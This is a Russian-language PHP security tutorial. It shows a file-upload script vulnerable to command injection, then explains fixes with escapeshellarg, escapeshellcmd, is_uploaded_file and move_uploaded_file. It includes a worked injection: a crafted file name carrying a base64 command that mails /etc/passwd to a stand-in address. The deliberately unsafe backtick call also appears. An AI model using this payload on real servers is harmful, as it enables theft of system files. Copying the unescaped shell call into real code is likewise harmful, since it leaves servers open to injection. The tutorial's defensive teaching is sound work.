В PHP предусмотрено несколько средств для выполнения системных вызовов. Ну а если подробнее, то system(), exec(), passthru(), popen() и оператор обратная кавычка [backtick] (`) позволяют выполнять команды операционной системы непосредственно из PHP-скрипта. И каждая из перечисленных функций при неадекватном использовании может предоставить злоумышленнику огромные возможности исполнения системных команд на вашем сервере. Как это было и в случае с доступом к файлам, большинство дыр появляется, когда текст команды составляется на основе небезопасных данных, полученных со стороны. Пример скрипта, содержащего системный вызовПредставим себе скрипт, который получает файл, загруженный на сервер по http [upload-файл], сжимает с помощью zip, а потом перемещает его в определённую директорию (по умолчанию это /usr/local/archives/). Вот код: <?php $zip = "/usr/bin/zip"; $store_path = "/usr/local/archives/";
if (isset($_FILES['file'])) { $tmp_name = $_FILES['file']['tmp_name']; $cmp_name = dirname($_FILES['file']['tmp_name']) . "/{$_FILES['file']['name']}.zip"; $filename = basename($cmp_name);
if (file_exists($tmp_name)) { $systemcall = "$zip $cmp_name $tmp_name"; $output = `$systemcall`;
if (file_exists($cmp_name)) { $savepath = $store_path.$filename; rename($cmp_name, $savepath); } } } ?>
<form enctype="multipart/form-data" action="<?php php echo $_SERVER['PHP_SELF']; ?>" method="POST"> <input type="HIDDEN" name="MAX_FILE_SIZE" value="1048576"> File to compress: <input name="file" type="file"><br /> <input type="submit" value="Compress File"> </form> Несмотря на кажущуюся прозрачность скрипта, злоумышленник может использовать его в своих целях аж несколькими способами. Самое опасное место - там, где мы исполняем команду сжатия файла (обратная кавычка), а именно следующие строки: <?php if (isset($_FILES['file'])) { $tmp_name = $_FILES['file']['tmp_name']; $cmp_name = dirname($_FILES['file']['tmp_name']) . "/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) { $systemcall = "$zip $cmp_name $tmp_name"; $output = `$systemcall`;
Как обмануть скрипт и заставить его исполнять различные shell-командыИтак, безобидность скрипта обманчива: любой пользователь, который может upload-ить файл, может и исполнять любые команды! Эта дыра в безопасности обязана своим появлением тому, как задаётся значение переменной $cmp_name. Поскольку в данном конкретном случае разработчик захотел, чтобы имя сжатого файла содержало имя upload-файла (плюс расширение .zip), было использовано значение переменной $_FILES['file']['name'] (содержащей имя upload-файла, каким оно было на клиентской машине). И вот именно в этом случае злоумышленник может полностью изменить поведения скрипта: он может загрузить файл с именем, содержащим специальные символы, интерпретируемых ОС. Например, что случится, если пользователь создаст пустой файл таким манером (из командной строки UNIX)? [user@localhost]# touch ";php -r '$code=base64_decode(\ "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA==\"); system($code);';" Эта команда создаст файл с таким именем: ;php -r '$code=base64_decode( "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA=="); system($code);'; Странное имя, да? Правильно, это "имя" похоже на текст некой команды CLI версии PHP; команда эта выполняет следующий код: <?php $code=base64_decode("bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA=="); system($code); ?> Если вы, из любопытства, выведете значение переменной $code, то увидите, что оно равно mail baduser@somewhere.com < /etc/passwd. И если пользователь загрузит этот файл, и наш PHP-скрипт займётся им, то когда скрипт начнёт выполнять системный вызов для сжатия файла, то на самом деле он выполнит следующую команду: /usr/bin/zip /tmp/;php -r '$code=base64_decode( "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA=="); system($code);';.zip /tmp/phpY4iatI Вот и всё, то, что вы сейчас увидели, уже не одна, а три команды! Как только оболочка проинтерпретирует точку с запятой (;), означающей (поскольку не заключена в кавычки) конец одной команды и начало другой, тогда PHP-функция system() на самом деле выполнит это: [user@localhost]# /usr/bin/zip /tmp/ [user@localhost]# php -r '$code=base64_decode( "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA=="); system($code);' [user@localhost]# .zip /tmp/phpY4iatI Как вы видите, вроде бы безобидный PHP-скрипт предоставил возможность исполнения различных системных команд, в том числе и исполнение других PHP-скриптов! Конечно, этот пример сработает только на системах, где пользователь, от имени которого запущен web-сервер, имеет в своей PATH переменной CLI версию PHP (а не должен бы). Однако на том же принципе можно построить и другие способы получения подобного результата. Как защититься от атак, связанных с системными вызовамиГлавное здесь, как и раньше, никогда не доверять данным из внешних источников, какой бы ни был контекст их использования. Возникает вопрос, как же избежать подобных ситуаций при работе с системными вызовами (отказ от самих системных вызовов здесь не рассматривается). Для борьбы с этим недугом PHP предлагает две функции: escapeshellarg() и escapeshellcmd(). Функция escapeshellarg() предназначена для устранения или какого-либо игнорирования потенциально опасных символов в полученных от пользователя данных. Результат работы функции может использоваться как аргумент к системной команде (в нашем случае это zip). Синтаксис функции такой: escapeshellarg($string) где $string - это строка для "зачистки", а возвращаемое значение и есть "зачищенная" строка. Функция заключает строку в аргументе в одинарные кавычки и дезактивирует (то есть предваряет слэшем) все одинарные кавычки, уже содержащиеся в строке. В нашем примере, если мы добавим перед системным вызовом две строки: <?php $cmp_name = escapeshellarg($cmp_name); $tmp_name = escapeshellarg($tmp_name); ?> то мы исключим риск того, что аргумент, передаваемый в системную команду, будет проинтерпретирован только как аргумент, и никак иначе, каковы бы не были данные, предоставленные пользователем. Функция escapeshellcmd() похожа на свою коллегу с тем исключением, что при "зачистке" будут дезактивированы символы, имеющее специфическое значение для операционной системы. В отличие от escapeshellarg() эта функция не будет как-то особенно обрабатывать строки с пробелами. Например, если мы применим escapeshellcmd() для такой строки: $string = "'hello, world!';evilcommand" то она станет такой: 'hello, world';evilcommand Это может привести к нежелательному результату, если строка будет использована в качестве аргумента к системной команде, поскольку интерпретатор будет воспринимать нашу строку как два аргумента, 'hello и world';evilcommand, соответственно. Итак, если данные, предоставленные пользователем, будут использоваться в качестве части списка аргументов, то функция escapeshellarg() предпочтительнее. Защита upload-файловДо данного момента я говорил только о том, как злоумышленники могут компрометировать системные вызовы в PHP-скриптах. Однако в нашем примере есть ещё одна потенциальная дыра в безопасности, и о ней также стОит упомянуть. Вернёмся к нашему коду и изучим внимательно эти строки: <?php $tmp_name = $_FILES['file']['tmp_name']; $cmp_name = dirname($_FILES['file']['tmp_name']) . "/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name); if (file_exists($tmp_name)) { ?> Итак, потенциально опасный код находится в самой последней строке приведённого отрезка. В ней мы проверяем, существует ли upload-файл (который хранится под временным именем, $tmp_name). Опасность здесь исходит не от самого PHP, а от возможности того, что файл под именем $tmp_name вовсе не был загружен пользователем, а как-либо указывает на файл, который злоумышленник хочет заполучить, ну скажем, /etc/passwd. Чтобы избежать подобных ситуаций, PHP предлагает функцию is_uploaded_file(). Работа этой функции похожа на действие функции file_exists() за тем лишь исключением, что в данном случае проводится дополнительная проверка того, был ли данный файл действительно загружен с клиентской машины. Поскольку, в большинстве случаев вам нужно куда-либо переместить upload-файл, то в дополнение к функции is_uploaded_file() в PHP есть функция move_uploaded_file(). Работает она также, как и rename() при перемещении файлов за тем лишь исключением, что в данном случае перед исполнением проводится дополнительная проверка того, что перемещаемый файл действительно был загружен с клиентской машины. Синтаксис функции move_uploaded_file() такой: move_uploaded_file($filename, $destination); При вызове эта функция переместит upload-файл $filename в $destination и возвратит значение типа Boolean, которое проинформирует об успешном или неуспешном завершении операции. |